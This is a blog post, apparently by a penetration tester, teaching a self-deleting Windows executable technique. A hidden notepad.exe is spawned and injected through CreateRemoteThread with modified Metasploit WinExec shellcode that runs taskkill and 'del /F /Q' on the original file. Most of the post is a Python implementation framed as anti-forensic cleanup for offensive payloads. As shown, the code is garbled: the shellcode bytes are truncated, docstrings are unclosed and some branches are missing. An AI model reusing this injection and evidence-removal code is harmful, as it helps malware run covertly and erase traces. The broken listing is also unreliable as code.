Tuesday, October 14, 2014

Self-removing PE's with Remote Thread Injection

There has been a great deal of sharing of client side techniques of late, so I thought I'd toss out a tip. A means to have a PE executable terminate and delete itself while running on a modern Windows system. The technique we will use is not new, but is one I discovered independently while tinkering with thread injection techniques a few years back.

If you have worked with a modern Windows systems you are familiar, at least on an abstract level, that once an executable has been mapped to virtual memory you cannot delete the file from disk until the handle is closed. Self-deleting a "Persisted memory-mapped file" is often solved by writing a secondary script (.bat||.ps1||.vbs) to disk as a clean-up stub. A cleaner way to do this is to spawn a windowless process in a new process group and inject code to terminate the calling PE, and remove the file from disk. This post includes a purposefully verbose example written in python to attempt to clearly illustrate this technique.

Since many people are familiar with the CreateThread function, due to it's popularity in shellcode execution, we will use the CreateRemoteThread function for our examples. The only difference people already familiar with CreateThread will notice is that CreateRemoteThread takes a process handle argument denoting the remote process into which we injected our code.

Attempt to Delete Executable from Modern Windows System:

If you've ever attempted to delete an open file on a modern Windows system you are familiar with the following dialog. 

Self Removal Via Remote Thread Injection:

In order to terminate and delete a running PE we will use two things: the full file path and the current process id. If you are using an interpreted language, you may also wish to know whether the processes is running as a standalone script or from inside a packed executable.

State Detection:

As many people are using Python with things like pyinstaller, p2exe, or cx_Freeze to pack up interpreted code. Creating code that works when run as a script or a packed PE can useful. In this example I use Thomas Heller's (ctypes and py2exe notoriety) suggestions found here to determine the state of the file, script, or exe.

Building our Payload:

As this point of this post is clarify the deletion method and not about writing shellcode that calls DeleteFileA from kernel32.lib, I will use slightly modified shellcode from the Metasploit project's WinExec payload. I change the value of uCmdSHow to cause our commands to run without a visible window. The second part of our shellcode is a bit of a hack, but hopefully it makes things accessible and clear to the reader. Since we aren't writing our own shellcode, and don't have access to SleepEx, we use ping along with an unreachable address and a known timeout to create a sleep state. The purpose of this sleep is to ensure that the call to taskkill has completed terminating the primary process before we attempt to remove it from disk. In writing your own code you may choose to simply have the process exit() before removing the file. I find terminating the process to be a more aggressive form of removal when triggering this method of self-deletion on errors or signals.

Command String -
cmd /c taskkill /F /PID > nul <pid> && ping -n 1 -w 500 > nul & del /F /Q <Path>

Shellcode -
Authors: vlad902 <vlad902[at]gmail.com>, sf <stephenfewer[at]harmonysecurity.com>
We modify "\x6a\x01" push 01 to "\x6a\x00" push 00 to unset uCmdShow
UINT WINAPI WinExec(                                    
                    _In_ LPCSTR lpCmdLine,
                    _In_ UINT uCmdShow
\x47\x13\x72\x6f\x6a\x00\x53\xff\xd5 + commandstr + \x00

Remote Process:

You can use any process for which you can request appropriate handle permissions, however, I recommend you open a new process that will not be interacted with by users. Additionally, be mindful of process load time when using thread creation flags that request immediate execution. For these reason I will use notepad.exe.

Injection Process:

There are four stages to our remote thread injection. First we must request access to interact with the remote process we are targeting as our cleanup helper via OpenProcess. Once we have a handle with appropriate permission, we allocate enough memory for our payload with VitualAllocEx. Now that we have a space to write our payload, we copy our buffer into the space using  WriteProcessMemory. If the write succeeds, we can kick off our code with CreateRemoteThread. There are many ways to perform remote thread injection, those shown here are among the most common and easy to follow.

Note: You can also start your helper process then inject a suspended thread that is triggered from your primary process based on later signals, exceptions, or states. I shy away from this as it leaves a larger footprint in the process list.

Libraries and Compilation:

Common libraries/methods that can provide access to the functions necessary for this approach:
Python - Ctypes.windll.kernel32
C# - [DllImport("kernel32")], Marshal.GetFunctionPointerForDelegate 
C/C++ - LoadLibrary("kernel32.dll")
Java - JNI, com.sun.jna, sun.misc.unsafe

When compiling code that uses this method, due to difference in size of PROCESS_ALL_ACCESS between windows versions, be certain to set _WIN32_WINNT || _WIN32_WINNT_WINXP appropriately. Alternatively, you can simply compile your code on a system relative to the oldest Windows version your code will target.

Example Self Deleting File:

The following code will self delete using remote threat injection as either a raw python script or when ran as an executable.
I've tried to make the significance of each Windows function argument as clear as possible. Code on github.

#!/usr/bin/env python
from __future__ import print_function, absolute_import, unicode_literals
import subprocess
from time import sleep
import os
import ctypes
import sys
from imp import is_frozen
__author__ = 'themson mester'

WinExec shellcode sourced from the Metasploit Framework.
Authors - vlad902 <vlad902 [at] gmail.com>, sf <stephenfewer [at] harmonysecurity.com>

I have modified "\x6a\x01" push 01 to "\x6a\x00" push 00 to unset uCmdShow
WinExec: http://msdn.microsoft.com/en-us/library/windows/desktop/ms687393(v=vs.85).aspx
                     _In_  LPCSTR lpCmdLine,
                     _In_  UINT uCmdShow

SHELLCODE = b"\xfc\xe8\x89\x00\x00\x00\x60\x89\xe5\x31\xd2\x64\x8b\x52" + \
            b"\x30\x8b\x52\x0c\x8b\x52\x14\x8b\x72\x28\x0f\xb7\x4a\x26" + \
            b"\x31\xff\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf\x0d" + \
            b"\x01\xc7\xe2\xf0\x52\x57\x8b\x52\x10\x8b\x42\x3c\x01\xd0" + \
            b"\x8b\x40\x78\x85\xc0\x74\x4a\x01\xd0\x50\x8b\x48\x18\x8b" + \
            b"\x58\x20\x01\xd3\xe3\x3c\x49\x8b\x34\x8b\x01\xd6\x31\xff" + \
            b"\x31\xc0\xac\xc1\xcf\x0d\x01\xc7\x38\xe0\x75\xf4\x03\x7d" + \
            b"\xf8\x3b\x7d\x24\x75\xe2\x58\x8b\x58\x24\x01\xd3\x66\x8b" + \
            b"\x0c\x4b\x8b\x58\x1c\x01\xd3\x8b\x04\x8b\x01\xd0\x89\x44" + \
            b"\x24\x24\x5b\x5b\x61\x59\x5a\x51\xff\xe0\x58\x5f\x5a\x8b" + \
            b"\x12\xeb\x86\x5d\x6a\x00\x8d\x85\xb9\x00\x00\x00\x50\x68" + \
            b"\x31\x8b\x6f\x87\xff\xd5\xbb\xf0\xb5\xa2\x56\x68\xa6\x95" + \
            b"\xbd\x9d\xff\xd5\x3c\x06\x7c\x0a\x80\xfb\xe0\x75\x05\xbb" + \

TARGET_PROCESS = b'notepad.exe'

def is_frozen_main():
    """Freeze detection Bool

    From www.py2exe.org/index.cgi/HowToDetermineIfRunningFromExe
    ThomasHeller posted to the py2exe mailing list
    :return: bool
    return (hasattr(sys, "frozen") or  # new py2exe
            hasattr(sys, "importers")  # old py2exe
            or is_frozen("__main__"))  # tools/freeze

def get_state():
    """Get pid and path

    Acquire current process pid
    Check execution state (PE || script)
    Acquire current process file path
    :return pid, path: str, str
    current_pid = str(os.getpid())
    if is_frozen_main():
        current_path = sys.executable
        current_path = os.path.abspath(__file__)
    current_path = b'"' + current_path + b'"'  # handle paths with spaces, ^ escape will not
    return current_pid, current_path

def generate_shellcode(pid, path):
    """Finalize shellcode to be injected

    Set up cmd to kill PID and remove from disk
    :param pid:
    :param path:
    :return shellcode: bytearray
    nullbyte = b'\x00'
    cmd_string = b'cmd /c taskkill /F /PID > nul {} && ping -n 1 -w 500 > nul & del /F /Q {}'.format(pid, path)
    return bytearray(SHELLCODE + cmd_string + nullbyte)

def child_process(process_name=TARGET_PROCESS):
    """Start windowless proccess in new process group

    :param process_name: str
    :return process pid: int
    startupinfo = subprocess.STARTUPINFO()
    startupinfo.dwFlags |= subprocess.STARTF_USESHOWWINDOW  # Start process windowless
        process = subprocess.Popen([process_name], startupinfo=startupinfo,
    except OSError as e:
        print('Error: child_process(): {}'.format(e.args))
        return -1
    sleep(1)  # allow process load before injection
    return process.pid

def inject_rthread(shellcode, child_pid):
    """Inject shellcode into remote process as new thread

    NOTE: non-PEP8 and extraneous names are used to maintain clarity of Windows Function parameter names

    OpenProcess: http://msdn.microsoft.com/en-us/library/windows/desktop/ms684320(v=vs.85).aspx
    VitualAllocEx: http://msdn.microsoft.com/en-us/library/windows/desktop/aa366890(v=vs.85).aspx
    Memory Protection Constants: http://msdn.microsoft.com/en-us/library/windows/desktop/aa366786(v=vs.85).aspx
    WriteProcessMemory: http://msdn.microsoft.com/en-us/library/windows/desktop/ms681674(v=vs.85).aspx
    CreateRemoteThread: http://msdn.microsoft.com/en-us/library/windows/desktop/ms682437(v=vs.85).aspx

    :param shellcode: byte array
    :param child_pid: int
    :return success: bool
    kernel32 = ctypes.windll.kernel32
    byte_length = len(shellcode)

    # OpenProcess  Arguments
    PROCESS_ALL_ACCESS = (0x000F0000L | 0x00100000L | 0xFFF)  # all access rights
    bInheritHandle = False  # do not inherit handle
    dwProcessId = child_pid  # pid of remote process

    # VirtualAllocEx Arguments
    lpAddress = None  # function determines alloc location
    dwSize = byte_length
    flAllocationType = 0x1000  # MEM_COMMIT
    flProtect = 0x40  # PAGE_EXECUTE_READWRITE

    # WriteProcessMemory Arguments
    lpBuffer = (ctypes.c_char * byte_length).from_buffer(shellcode)  # buffer of shell code chars
    nSize = byte_length
    lpNumberOfBytesWritten = None  # do not return bytes writen length

    #CreateRemoteThread Arguments
    lpThreadAttributes = None  # use default security descriptor
    dwStackSize = 0  # use default stack size
    lpParameter = None  # no vars to pass
    dwCreationFlags = 0  # run thread immediately
    lpThreadId = None  # do not return thread identifier

        hProcess = kernel32.OpenProcess(PROCESS_ALL_ACCESS, bInheritHandle, dwProcessId)
        lpBaseAddress = kernel32.VirtualAllocEx(hProcess, lpAddress, dwSize, flAllocationType, flProtect)
        write_return = kernel32.WriteProcessMemory(hProcess, lpBaseAddress, lpBuffer, nSize, lpNumberOfBytesWritten)
        if write_return != 0:
            kernel32.CreateRemoteThread(hProcess, lpThreadAttributes, dwStackSize, lpBaseAddress,
                                        lpParameter, dwCreationFlags, lpThreadId)
            return True
            return False
    except Exception as e:
        print("ERROR: inject_rthread(): {}".format(e.args))
        return False

def clean_up():
    """manage clean up process

    get pid and path
    generate shellcode
    launch target process and return cpid
    inject into remote thread

    :return: success bool
    pid, path = get_state()
    shell_code = generate_shellcode(pid, path)
    child_pid = child_process()
    if child_pid == -1:
        return False
        return inject_rthread(shell_code, child_pid)

def main():
    print("Self-Deletion via remote thread injection demo.")
    while True:

if __name__ == "__main__":


I encourage people to explore other methods of code injection and self deletion, there's lots of great tricks out there to be learned. Additionally, consider adding timeout dates to your client-sides that cause self-deletion to trigger before payload execution if a client-side is ever executed outside of scoped testing dates.

Go learn something...

Cited Resources:

No comments:

Post a Comment